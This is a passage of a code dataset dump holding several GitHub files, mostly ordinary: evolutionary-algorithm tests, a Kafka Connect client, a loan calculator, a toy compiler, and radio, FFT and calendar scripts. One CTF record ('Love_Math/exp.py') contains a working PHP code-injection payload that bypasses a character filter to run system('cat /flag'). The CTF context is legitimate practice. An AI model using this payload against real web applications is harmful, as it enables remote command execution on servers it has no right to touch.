ind_expected in zip(pop.parents, parents_expected):\n assert ind.idx == ind_expected[0]\n assert ind.fitness == pytest.approx(ind_expected[1])\n\n # code below implements `ea.step`, but keeps offsprings around to\n # check combined population\n offsprings = ea._create_new_offspring_generation(pop)\n combined = offsprings + pop.parents\n\n combined = ea._compute_fitness(combined, [objective_one, objective_two])\n combined = ea._sort(combined)\n\n # individual 4 has higher fitness as individual 5 as the latter\n # didn't make it past the first hurdle\n combined_expected = [(3, 19), (2, 11), (1, 5), (0, 1), (4, -29), (5, -5)]\n assert len(combined) == len(combined_expected)\n for ind, ind_expected in zip(combined, combined_expected):\n assert ind.idx == ind_expected[0]\n assert ind.fitness == pytest.approx(ind_expected[1])\n\n\ndef test_mutate(population_params, genome_params, ea_params):\n ea_params[\"mutation_rate\"] = 0.5\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n offspring = pop.parents\n offspring_original = copy.deepcopy(offspring)\n offspring = ea.mutate(offspring, pop.rng)\n assert np.any(\n [off_orig != off_mutated for off_orig, off_mutated in zip(offspring_original, offspring)]\n )\n\n\ndef test_objective_must_set_valid_fitness(population_params, genome_params, ea_params):\n def objective(ind):\n # missing ind.fitness assignement\n return ind\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n with pytest.raises(RuntimeError):\n cgp.evolve(objective, pop, ea, max_generations=10)\n with pytest.raises(RuntimeError):\n pop.champion.fitness\n\n\ndef test_sort_with_hurdles():\n # one objective: fittest individual should be first\n ind0 = IndividualSingleGenome([])\n ind0._fitness = [0]\n ind1 = IndividualSingleGenome([])\n ind1._fitness = [1]\n ind2 = IndividualSingleGenome([])\n ind2._fitness = [2]\n ind3 = IndividualSingleGenome([])\n ind3._fitness = [3]\n individuals = [ind0, ind1, ind2, ind3]\n ea = cgp.ea.MuPlusLambda()\n sorted_individuals = ea._sort(individuals)\n expected = [[3], [2], [1], [0]]\n assert [ind._fitness for ind in sorted_individuals] == expected\n\n # two objective with hurdle: individuals which pass more hurdles should come\n # first, in each hurdle sorted by their fitness\n ind0 = IndividualSingleGenome([])\n ind0._fitness = [0, 5]\n ind1 = IndividualSingleGenome([])\n ind1._fitness = [1, None]\n ind2 = IndividualSingleGenome([])\n ind2._fitness = [2, 4]\n ind3 = IndividualSingleGenome([])\n ind3._fitness = [3, None]\n individuals = [ind0, ind1, ind2, ind3]\n ea = cgp.ea.MuPlusLambda()\n sorted_individuals = ea._sort(individuals)\n expected = [[0, 5], [2, 4], [3, None], [1, None]]\n assert [ind._fitness for ind in sorted_individuals] == expected\n","repo_name":"Happy-Algorithms-League/hal-cgp","sub_path":"test/test_ea_mu_plus_lambda.py","file_name":"test_ea_mu_plus_lambda.py","file_ext":"py","file_size_in_byte":13653,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"28"}
+{"seq_id":"24218143340","text":"n = int(input())\narr = list(map(int, input().split()))\n\ncount = []\n\nfor index in range(1, n):\n if arr[index] < arr[index - 1]:\n start = index - 1\n\n end = index\n for i in range(index + 1, n):\n if arr[i] <= arr[i - 1]:\n end += 1\n else:\n break\n count.append((start, end))\n break\n\nif count:\n start = count[0][0]\n end = count[0][1]\n\n while start < end:\n arr[start], arr[end] = arr[end], arr[start]\n start += 1\n end -= 1\n \n is_valid = False\n if arr == sorted(arr):\n print(\"yes\")\n print(count[0][0] + 1, count[0][1] + 1)\n else:\n print(\"no\")\nelse:\n print(\"yes\")\n print(\"1 1\")","repo_name":"duressaJemal/Competitive-Programming","sub_path":"code force/codeforce_contest/A2SV contest #4/C_Sort_the_Array.py","file_name":"C_Sort_the_Array.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"}
+{"seq_id":"586627839","text":"from typing import List, Optional\n\nfrom app import model\n\nimport requests\n\n\nclass ConnectClient:\n \"\"\"Mockable Kafka Connect client\"\"\"\n\n def connector_delete(self, name: str) -> None:\n raise NotImplementedError()\n\n def connector_get(self, name: str) -> Optional[model.ConnectorInfo]:\n raise NotImplementedError()\n\n def connectors_list(self) -> List[str]:\n raise NotImplementedError()\n\n def connector_update(self, name: str, config: dict) -> model.ConnectorInfo:\n raise NotImplementedError()\n\n def connector_validate(self, name: str, config: dict) -> None:\n raise NotImplementedError()\n\n def plugins_list(self) -> List[str]:\n raise NotImplementedError()\n\n\nclass ConnectClientImpl(ConnectClient):\n \"\"\"Rest API Kafka Connect client\"\"\"\n\n def __init__(self, *, connect_url: str) -> None:\n assert connect_url, \"Missing connect url\"\n self._connect_url = connect_url\n if self._connect_url.endswith(\"/\"):\n self._connect_url = self._connect_url[:-1]\n\n def connector_delete(self, name: str) -> None:\n assert name, \"Name can not be empty\"\n resp = requests.delete(f\"{self._connect_url}/connectors/{name}\")\n assert resp.status_code in [204, 400], \\\n f\"Invalid status code [{resp.status_code}].\"\n\n def connector_get(self, name: str) -> Optional[model.ConnectorInfo]:\n assert name, \"Connector name can not be empty\"\n resp = requests.get(f\"{self._connect_url}/connectors/{name}\")\n if resp.status_code == 200:\n data = resp.json()\n return self._create_info(\n name=data[\"name\"],\n config=data[\"config\"],\n tasks=data[\"tasks\"])\n elif resp.status_code == 404:\n return None\n else:\n raise ValueError(f\"Invalid status code [{resp.status_code}]: {resp.text}.\")\n\n def connectors_list(self) -> List[str]:\n resp = requests.get(f\"{self._connect_url}/connectors\")\n assert resp.status_code == 200, f\"Invalid status code [{resp.status_code}]: {resp.text}.\"\n return resp.json()\n\n def connector_update(self, name: str, config: dict) -> model.ConnectorInfo:\n resp = requests.put(f\"{self._connect_url}/connectors/{name}/config\", json=config)\n if resp.status_code in [200, 201]:\n data = resp.json()\n return self._create_info(\n name=data[\"name\"],\n config=data[\"config\"],\n tasks=data[\"tasks\"])\n elif resp.status_code == 409:\n raise ValueError(\"Cluster is re-balancing, try later\")\n raise ValueError(f\"Invalid Kafka Connect response [{resp.status_code}]: {resp.text}.\")\n\n def connector_validate(self, name: str, config: dict) -> None:\n class_name = config.get(\"connector.class\")\n if not class_name:\n raise ValueError(f\"Missing required parameter [connector.class]\")\n\n config = config.copy()\n if not config.get('name'):\n config['name'] = name\n\n resp = requests.put(f\"{self._connect_url}/connector-plugins/{class_name}/config/validate\", json=config)\n assert resp.status_code == 200, f\"Invalid status code [{resp.status_code}]: {resp.text}.\"\n\n errors = []\n body = resp.json()\n\n if body[\"error_count\"] > 0:\n for item in body[\"configs\"]:\n for error in item[\"value\"][\"errors\"]:\n errors.append(f\"parameter: [{item['value']['name']}], \"\n f\"error: [{error}], \"\n f\"documentation: [{item['definition'].get('documentation')}]\")\n if errors:\n raise ValueError(f\"Configuration errors found: [{errors}]\")\n\n def plugins_list(self) -> List[str]:\n resp = requests.get(f\"{self._connect_url}/connector-plugins\")\n assert resp.status_code == 200, f\"Invalid status code [{resp.status_code}]: {resp.text}.\"\n return [item[\"class\"] for item in resp.json()]\n\n def _create_info(self, *, name: str, config: dict, tasks: list) -> model.ConnectorInfo:\n return model.ConnectorInfo(name=name, config=config, tasks=tasks)\n","repo_name":"melphi/kafkaform","sub_path":"app/client/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"28943695929","text":"from math import ceil, log, pow\nimport argparse\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-t', '--type')\nparser.add_argument('-a', '--payment', default=0)\nparser.add_argument('-p', '--principal', default=0)\nparser.add_argument('-n', '--periods', type=int, default=0)\nparser.add_argument('-i', '--interest', default=0)\n\nargs = parser.parse_args()\n\nt = args.type\na = args.payment\np = args.principal\nn = args.periods\ni = args.interest\ntry:\n a, p, i = map(float, [a, p, i])\nexcept ValueError:\n exit('Incorrect parameters')\n\ns = sum(map(lambda x: int(bool(x)), [a, p, n]))\n\nif t not in ['annuity', 'diff'] \\\n or t == 'diff' and a \\\n or s != 2 \\\n or i <= 0 or a < 0 or p < 0 or n < 0:\n print('Incorrect parameters')\n exit()\n\ni = i / 1200\n\nif t == 'annuity':\n if n == 0: # for number of monthly payments\n n = ceil(log(a / (a - i * p), 1 + i))\n years = n // 12\n months = n % 12\n years = '1 year' if years == 1 else str(years) + ' years' if years else ''\n the_and = ' and ' if years and months else ''\n months = str(months) + ' months' if months else ''\n print(f'It will take {years}{the_and}{months} to repay this loan!')\n\n if a == 0: # for annuity monthly payment amount\n a = ceil(p * (i * pow(1 + i, n)) / (pow(1 + i, n) - 1))\n print(f'\\nYour monthly payment = {a}!')\n\n if p == 0: # for loan principal\n p = round(a / ((i * pow(1 + i, n)) / (pow(1 + i, n) - 1)))\n print(f'\\nYour loan principal = {p}!')\n\n over = ceil(n * a - p)\n print(f'\\nOverpayment = {over}!')\n\nif t == 'diff':\n total = 0\n for m in range(1, n + 1):\n a = ceil(p / n + i * (p - (p * (m - 1)) / n))\n total += a\n print(f'\\nMonth {m}: payment is {a}')\n print(f'\\nOverpayment = {ceil(total - p)}!')\n","repo_name":"bmvmarc/creditcalc","sub_path":"creditcalc.py","file_name":"creditcalc.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"37889968723","text":"import sys\nfrom utils.openfile import openSheeshfile\n\nlistt = []\noperator_set = set([\"+\", \"-\", \"*\", \"/\", \"(\", \")\", \"^\"])\npriority_map = {\"+\": 1, \"-\": 1, \"*\": 2, \"/\": 2, \"^\": 3}\n\n\ndef ass(equation, print_flag):\n res = equation[0]\n x = arith(equation[2:], print_flag)\n listt.append(equation[0:2] + \"R\" + str(x))\n res = []\n [res.append(x) for x in listt if x not in res]\n if print_flag == 1:\n print(\"\\t\", equation[0:2], \"R\" + str(x), \"\\n\")\n return res\n\n\ndef infix_to_postfix(expression):\n stack = []\n opt = \"\"\n for char in expression:\n if char == \")\":\n while stack and stack[-1] != \"(\":\n opt += stack.pop()\n stack.pop()\n elif char == \"(\":\n stack.append(\"(\")\n elif char not in operator_set:\n opt += char\n else:\n cond1 = stack and stack[-1] != \"(\"\n cond2 = stack and priority_map[char] <= priority_map[stack[-1]]\n while cond1 and cond2:\n opt += stack.pop()\n cond1 = stack and stack[-1] != \"(\"\n cond2 = stack and priority_map[char] <= priority_map[stack[-1]]\n stack.append(char)\n\n while stack:\n opt = opt + stack.pop()\n return opt\n\n\ndef arith(equation, print_flag): # arithmetic\n postfix = infix_to_postfix(equation)\n operators = (\"+\", \"-\", \"*\", \"/\", \"^\")\n if print_flag == 1:\n print(\"Postfix expression is: \", postfix)\n st = []\n r_count = 1\n if print_flag == 1:\n print(\"Three address code is: \")\n for i in postfix:\n if i not in operators:\n st.append(i)\n else:\n a = st.pop(-1)\n b = st.pop(-1)\n listt.append(\"R\" + str(r_count) + \"=\" + a + i + b + \",\")\n if print_flag == 1:\n print(\"\\tR\" + str(r_count) + \"=\" + a + i + b)\n r_count += 1\n st.append(\"R\" + str(r_count - 1))\n return r_count - 1\n\n\ndef relt(equation, stmnts, line_number): # relational\n res = \"\"\n for i in stmnts:\n res = res + i\n r_count = 100 + line_number\n t = 0\n sts = {}\n sts_ = [\n \"if \" + equation + \" goto \" + str(r_count + 3),\n \"T:= \" + str(t),\n \" goto \" + str(r_count + 4),\n \"T:= \" + res,\n \"End\",\n ]\n for count in range(r_count, r_count + 5):\n sts[count] = sts_[count - r_count]\n\n for key, value in sts.items():\n print(key, value)\n print(\"\\n\")\n\n\ndef elserelt(stmnts, line_number):\n res = \"\"\n for i in stmnts:\n res = res + i\n r_count = 100 + line_number\n t = 0\n sts = {}\n sts_ = [\n \"else \" + \" goto \" + str(r_count + 3),\n \"T:= \" + str(t),\n \" goto \" + str(r_count + 4),\n \"T:= \" + res,\n \"End\",\n ]\n for count in range(r_count, r_count + 5):\n sts[count] = sts_[count - r_count]\n for key, value in sts.items():\n print(key, value)\n print(\"\\n\")\n\n\ndef intermediate_code_generator(filename):\n\n f = openSheeshfile(filename)\n lines = f.read().splitlines()\n # print('The Testcase is :\\n')\n # for i in lines: print('\\t',i)\n\n print(\"\\n\")\n print(\"Three Address code SECTION => \")\n\n list_of_lines = []\n\n for line in lines:\n list_of_lines.append(line.split(\" \"))\n\n for i in range(len(lines)):\n listt = []\n exp1 = \"\"\n exp2 = \"\"\n if \"if\" in list_of_lines[i]:\n for char in list_of_lines[i]:\n if char == \"if\":\n continue\n if char == \"(\":\n continue\n if char == \")\":\n break\n exp1 = exp1 + char\n i = i + 2\n for char in list_of_lines[i]:\n exp2 = exp2 + char\n relt(exp1, ass(exp2, 0), i)\n elif \"elseif\" in list_of_lines[i]:\n for char in list_of_lines[i]:\n if char == \"elseif\":\n continue\n if char == \"(\":\n continue\n if char == \")\":\n break\n exp1 = exp1 + char\n i = i + 2\n for char in list_of_lines[i]:\n exp2 = exp2 + char\n relt(exp1, ass(exp2, 0), i)\n elif \"else\" in list_of_lines[i]:\n for char in list_of_lines[i]:\n if char == \"elseif\":\n continue\n if char == \"(\":\n continue\n if char == \")\":\n break\n exp1 = exp1 + char\n i = i + 2\n for char in list_of_lines[i]:\n exp2 = exp2 + char\n elserelt(ass(exp2, 0), i)\n elif \"=\" in list_of_lines[i]:\n if i > 2:\n if (\n \"if\" in list_of_lines[i - 2]\n or \"else\" in list_of_lines[i - 2]\n or \"elseif\" in list_of_lines[i - 2]\n ):\n continue\n prev_char = \"\"\n enc_flag = 0\n for char in list_of_lines[i]:\n if char == \"=\":\n exp1 = exp1 + prev_char\n exp1 = exp1 + \"=\"\n enc_flag = 1\n if enc_flag == 1:\n exp1 = exp1 + char\n prev_char = char\n ass(exp1, 1)\n","repo_name":"neilmehta31/SheeshLang","sub_path":"SDT_SDD/intermediate_code_gen.py","file_name":"intermediate_code_gen.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"28554614243","text":"from sys import argv\n\nif __name__ == '__main__':\n try:\n url = argv[1]\n except Exception as e:\n print(\"python3 exp.py url\")\n else:\n from requests import get\n\n payload = '?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag'\n url = url + payload\n\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/109.0.0.0 Safari/537.36 '\n }\n\n response = get(url=url, headers=headers).text\n\n from re import findall\n\n flag = ''.join(findall('flag{.*?}', response))\n print(flag)\n","repo_name":"Bravecoward1-oss/ctf_diary","sub_path":"buuctf/web/Love_Math/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"74397035596","text":"moves = [(1,2),(2,1),(-1,2),(2,-1),(1,-2),(-2,1),(-1,-2),(-2,-1)]\nx1,y1 = map(int,input().split())\nx1 = 8-x1\ny1 -= 1\nx2,y2 = map(int,input().split())\nx2 = 8-x2\ny2 -= 1\nstart = (x1,y1)\nend = (x2,y2)\n\nboard = [[0 for i in range(8)] for j in range(8)]\n\nfrom collections import deque\nd = deque()\nd.append(start)\nwhile d:\n\tx,y = d.popleft()\n\tif (x,y) == end:\n\t\tprint(board[y][x])\n\t\tbreak\n\tfor a,b in moves:\n\t\tnx,ny = x+a,y+b\n\t\tif 0 <= nx <= 7 and 0 <= ny <= 7:\n\t\t\tif board[ny][nx] == 0:\n\t\t\t\tboard[ny][nx] = board[y][x]+1\n\t\t\t\td.append((nx,ny))","repo_name":"cabbagecabbagecabbage/Competitive-Programming","sub_path":"DMOJ Solutions/ccc10j5.py","file_name":"ccc10j5.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"23048870196","text":"class Email:\n def __init__(self, sender, receiver, content):\n self.is_sent = False\n self.sender = sender\n self.receiver = receiver\n self.content = content\n\n def send(self):\n self.is_sent = True\n\n def get_info(self):\n return f\"{self.sender} says to {self.receiver}: {self.content}. Sent:{self.is_sent}\"\n\n\nemails = []\n\nmessages = input()\nwhile not messages == 'Stop':\n sender, receiver, content = messages.split()\n email = Email(sender, receiver, content)\n emails.append(email)\n messages = input()\n\nsend_emails = [emails[int(x)].send() for x in input().split(\", \")]\n\nfor email in emails:\n print(email.get_info())\n\n\n","repo_name":"ChrisOfRivia/SoftUni-Software-Engineering-Python","sub_path":"SoftUni May_2022 (Programming Fundamentals)/8. Objects and Classes/Lab (Wednesday)/3. Email.py","file_name":"3. Email.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"3899179834","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n#\n# Complete the 'repeatedString' function below.\n#\n# The function is expected to return a LONG_INTEGER.\n# The function accepts following parameters:\n# 1. STRING s\n# 2. LONG_INTEGER n\n#\n\ndef repeatedString(s, n):\n number_of_a_in_base_string = s.count('a')\n number_of_exact_repetitions = n // len(s)\n number_of_a_in_leftover = s[:(n % len(s))].count('a')\n\n return number_of_a_in_base_string * number_of_exact_repetitions + number_of_a_in_leftover\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = input()\n\n n = int(input().strip())\n\n result = repeatedString(s, n)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"a96tudor/hackerrank-solutions","sub_path":"interview-preparation-kit/warmup/repeated-string.py","file_name":"repeated-string.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"26458022865","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#should i filter anomalies? \ndf = pd.read_csv('exp_ds.csv')\ndf['date'] = pd.to_datetime(df['date'], format='%Y-%m-%d')\ndf = df.sort_values('date')\ndf = df.set_index('date')\ndf = df.dropna()\n\n\n# Apply FFT\nn = len(df)\nfreq = np.fft.fftfreq(n) # generates arrow of \nfft_vals = np.fft.fft(df['qty']) # compute fft\n\namplitude = np.abs(fft_vals)\ndominant_frequency = np.argmax(amplitude)\n# Get absolute value to determine magnitude and normalize by the number of data points\n\n\n# Identify major frequencies\nthreshold = np.max(fft_vals) * 0.20 # Adjust the threshold to catch major peaks\nimportant_freqs = freq[np.where(fft_vals > threshold)]\nprint(\"Important frequencies: \", important_freqs)\n\n# intresting frequency is 0.00459242 , T = 217 days, \n\n# plot initial data with sinus exp(-2pi * 0.00459242 * t) on top \nplt.figure(figsize=(12, 6))\nplt.title(\"Sales Data\")\nplt.xlabel(\"Date\")\nplt.ylabel(\"Quantity\")\nplt.plot(freq, fft_vals, label=\"FFT\")\n\nplt.show()\n\ntime = np.arange(len(df)) \ntrig_function = np.cos(2 * np.pi * dominant_frequency * time / len(df))\n\nplt.figure(figsize=(12, 6))\nplt.title(\"Trigonometric Function with Dominant Frequency\")\nplt.xlabel(\"Time\")\nplt.ylabel(\"Amplitude\")\nplt.plot(df.index, trig_function)\nplt.show()\n\n\n\n\n\n","repo_name":"IlyaYakushevskiy/Fourier_demand","sub_path":"fourier.py","file_name":"fourier.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"39722248697","text":"#!/usr/bin/env python3\n\n\"\"\"\n##### RFM69 ECHO SERVER #####\nThis Python script implements a simple echo server using RFM69 Serial bridge.\n\n\"\"\"\n\nimport time\nfrom RFM69Serial import Rfm69SerialDevice\n\n# Parameter set for physical boards\ncs_pin = 10 # Teensy server\nint_pin = 8\ndevice_addr = 1\nnetwork_id = 101\ndevice_port = \"/dev/ttyACM0\" # `ls /dev` to find out your device port\n\ndev = Rfm69SerialDevice(device_addr, network_id, cs_pin, int_pin, device_port)\nif dev.is_device_connected():\n print(\"Serial device is online, RF module is ready!\")\ndev.encrypt(key='a1b2c3d4e5f6g7h8')\n\nprint(\"Echo server program\")\nprint(\"Server Address = \", device_addr)\nprint(\"Network ID = \", network_id)\nprint(\"--------------------\")\n\nmsg_counter = 0\n\ntry:\n dev.begin_receive()\n while True:\n if dev.receive_done():\n msg_counter += 1\n recv = dev.get_rx_data()\n print(f\"Message [{msg_counter}]: Sender ID = {recv.sender} | Msg = {recv.message_to_string()} \")\n time.sleep(0.2)\n dev.send_msg(recv.sender, recv.message_to_string())\n dev.begin_receive()\n\nexcept KeyboardInterrupt:\n dev.sleep()\n dev.close()\n print(\"Stopped by user!\")\n","repo_name":"longpear/rfm69-serial","sub_path":"examples/echo_server.py","file_name":"echo_server.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"75235883274","text":"from sentence_transformers import SentenceTransformer, util\nfrom datasets import load_from_disk\nfrom scipy.stats import normaltest\nimport torch\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport os\nimport sys\nimport argparse\nimport pprint\n\n# routine to import parent folder\ncurrent_path = os.path.dirname(os.path.realpath(__file__))\nparent = os.path.dirname(current_path)\nsys.path.append(parent)\n\nfrom helper_functions import *\n\n#emb = embedded Quatrain\n# sentences = samples\n# load samples in function\n# load emb also every step?\n\ndef max_sim_dist(emb, sample_path, model='distiluse-base-multilingual-cased-v1', device='cuda:0'):\n \"\"\"\n Calculates the maximum similarity value in the training data for each quatrain in a sample\n \n Parameters:\n ----------\n emb : Embedded training data\n sample_path : Path to sample dataset\n model : Model used to calculate embeddings\n devide : If GPU resources are available, they will be used. Otherwise use CPU\n\n Returns:\n -------\n res : List of maximum similarity values \n \"\"\"\n model = SentenceTransformer(model)\n sentences = load_from_disk(sample_path)\n sentences = flatten_list(sentences.map(join)['text'])\n res = []\n for sentence in sentences:\n sentence_embedding = model.encode(sentence, convert_to_tensor=True, device=device)\n top_k=1\n cos_scores = util.pytorch_cos_sim(sentence_embedding, emb)[0].cpu()\n top_result = np.argpartition(-cos_scores, range(top_k))[0:top_k]\n for idx in top_result[0:top_k]:\n res.append(cos_scores[idx])\n return res\n\n\ndef ss_metrics(sample_path, emb_path):\n \"\"\"\n Calculates different statistical metrics regarding the meximum similarity values\n \n Parameters:\n ----------\n sample_path : Path to sample dataset\n emb_path : Path to embedded training data\n\n Returns:\n -------\n res: Dictionary containing different statistical metrics\n fig : Histogram of max similarity values\n \"\"\"\n emb = torch.load(emb_path)\n\n sims = max_sim_dist(emb, sample_path)\n\n mean_sim = np.mean(sims)\n sd_sim = np.std(sims)\n\n minimum = np.min(sims)\n maximum = np.max(sims)\n \n sims = np.array(sims)\n\n p = normaltest(sims).pvalue\n \n res = {}\n\n res['mean'] = float(mean_sim)\n res['standard_deviation'] = float(sd_sim)\n res['min'] = float(minimum)\n res['max'] = float(maximum)\n res['dagostino_p'] = float(p)\n\n # plot similarity values \n fig = plt.figure(figsize=(5,4))\n plt.subplots_adjust(bottom=0.15)\n plt.subplots_adjust(left=0.15)\n plt.style.use('seaborn-whitegrid')\n plt.hist(sims, bins=30, facecolor = '#2ab0ff', edgecolor='#169acf', linewidth=0.5)\n #plt.title(name + \": Max Similarity\")\n plt.xlabel(\"Cosine Similarity\", fontsize=17)\n plt.ylabel(\"Frequency\", fontsize=17)\n plt.xticks(fontsize=12)\n plt.yticks(fontsize=12)\n \n return res, fig\n\n \ndef create_corpus_embeddings(training_data_path, save_path, lang):\n \"\"\"\n Calculates embedding vectors for the training data and saves vectors\n to a chosen path. Each vector represents one quatrain.\n \n Parameters:\n ----------\n training_data_path : Path to training dataset\n save_path : Path to save \n lang : language\n\n Returns:\n -------\n \n \"\"\"\n sentences = load_from_disk(training_data_path)\n sentences = flatten_list(sentences.map(join)['text'])\n\n model = SentenceTransformer('distiluse-base-multilingual-cased-v1')\n embeddings = model.encode(sentences, convert_to_tensor=True)\n\n torch.save(embeddings, save_path + '/' + lang + '-QuaTrain.pt')\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--training_data_only', action=\"store_true\")\n parser.add_argument(\"--sample_path\", type=str)\n parser.add_argument(\"--emb_path\", type=str)\n parser.add_argument(\"--quatrain_path\", type=str)\n parser.add_argument(\"--save_path\", type=str)\n parser.add_argument(\"--lang\", type=str)\n args = parser.parse_args()\n\n # create initial corpus embeddings\n if args.training_data_only == True:\n create_corpus_embeddings(args.quatrain_path, args.save_path, args.lang)\n \n else:\n metrics, similarity_figure = ss_metrics(args.sample_path, args.emb_path)\n if args.save_path:\n similarity_figure.savefig(args.save_path + '/similarities.png')\n pprint.pprint(metrics)\n \n \n\n","repo_name":"b3nji87/master-thesis-diversity-in-poetry-generation","sub_path":"diversity-in-poetry-generation/analysis/semantic_similarity.py","file_name":"semantic_similarity.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"23372111269","text":"__author__ = 'nicolasbortolotti'\n\nimport dateutil.parser\nimport exceptions\nimport datetime\nimport sys\n\nfrom apiclient import sample_tools\n\n\ndef main(argv):\n calendar = raw_input('calendar: ')\n startDateAnalysis = raw_input('Start Date Analysis YYYY-MM-DD: ')\n endDateAnalysis = raw_input('End Date Analysis YYYY-MM-DD: ')\n\n syear, smonth, sday = map(int, startDateAnalysis.split('-'))\n cstartDateAnalysis = datetime.date(syear, smonth, sday)\n\n eyear, emonth, eday = map(int, endDateAnalysis.split('-'))\n cendDateAnalysis = datetime.date(eyear, emonth, eday)\n\n\n service, flags = sample_tools.init(argv, 'calendar', 'v3', __doc__, __file__,\n scope='https://www.googleapis.com/auth/calendar')\n\n keysum = ['#sumday', '#sum']\n now = datetime.datetime.now()\n now_plus_thirtydays = now + datetime.timedelta(days=7)\n page_token = None\n sumtime = int(0)\n demo = int(0)\n while True:\n\n events = service.events().list(\n calendarId=calendar,\n singleEvents=True,\n orderBy='startTime',\n timeMin=cstartDateAnalysis.strftime('%Y-%m-%dT%H:%M:%S-00:00'), #now.strftime('%Y-%m-%dT%H:%M:%S-00:00'),\n timeMax=cendDateAnalysis.strftime('%Y-%m-%dT%H:%M:%S-00:00'), #now_plus_thirtydays.strftime('%Y-%m-%dT%H:%M:%S-00:00'),\n pageToken=page_token,\n ).execute()\n\n #open file\n myfile = open(calendar + '.txt', 'wb')\n\n for event in events['items']:\n try:\n content = event['description'].encode('utf-8')\n if any(x in content.split() for x in keysum):\n #print event['summary']\n myfile.write('*' + event['summary'] + \"\\n\")\n\n end = dateutil.parser.parse(event['end']['dateTime'])\n start = dateutil.parser.parse(event['start']['dateTime'])\n cal = end - start\n mins = int(cal.total_seconds() / 60)\n sumtime += mins\n\n except exceptions.KeyError:\n pass\n\n\n demo = TimeCal(events['items'], keysum)\n\n page_token = events.get('nextPageToken')\n if not page_token:\n break\n\n #print(\"{} - {}\".format(\"minutes\", sumtime))\n\n\n myfile.write( '** minutes used this week: ' + str(sumtime) + \"\\n\")\n myfile.write( '** demo: ' + str(demo) + \"\\n\")\n myfile.close()\n\n\ndef TimeCal(items={}, keysum=[]):\n #keysum = ['#sumday', '#sum']\n sumtime = int(0)\n for event in items:\n try:\n content = event['description'].encode('utf-8')\n if any(x in content.split() for x in keysum):\n\n end = dateutil.parser.parse(event['end']['dateTime'])\n start = dateutil.parser.parse(event['start']['dateTime'])\n cal = end - start\n mins = int(cal.total_seconds() / 60)\n sumtime += mins\n\n except exceptions.KeyError:\n pass\n return sumtime\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"nbortolotti/sumday","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"17801815297","text":"import json\nimport os\n#Build의 jSonFile 디렉토리 내 ��일 개수 변수에 저장\ncount_JSON = os.listdir(\"./json/\")\ndescription = \"ShiningNeko is a unique and exclusive collection of 1,000 handmade NFTs, featuring a fanciful cat character that exudes elegance and sophistication. Discover the wonders of this enchanting world today.\"\n\nfor i in count_JSON:\n try :\n with open(\"./json/\" + i, \"r\", encoding=\"utf8\", errors='ignore') as json_file:\n json_data = json.load(json_file)\n json_data[\"description\"] = description\n with open(\"./json/\" + i, 'w', encoding=\"utf8\", errors='ignore') as outfile:\n json.dump(json_data, outfile, indent=4)\n except:\n print(i)","repo_name":"MetatoryTeam/ShiningNeko","sub_path":"changeDescription.py","file_name":"changeDescription.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
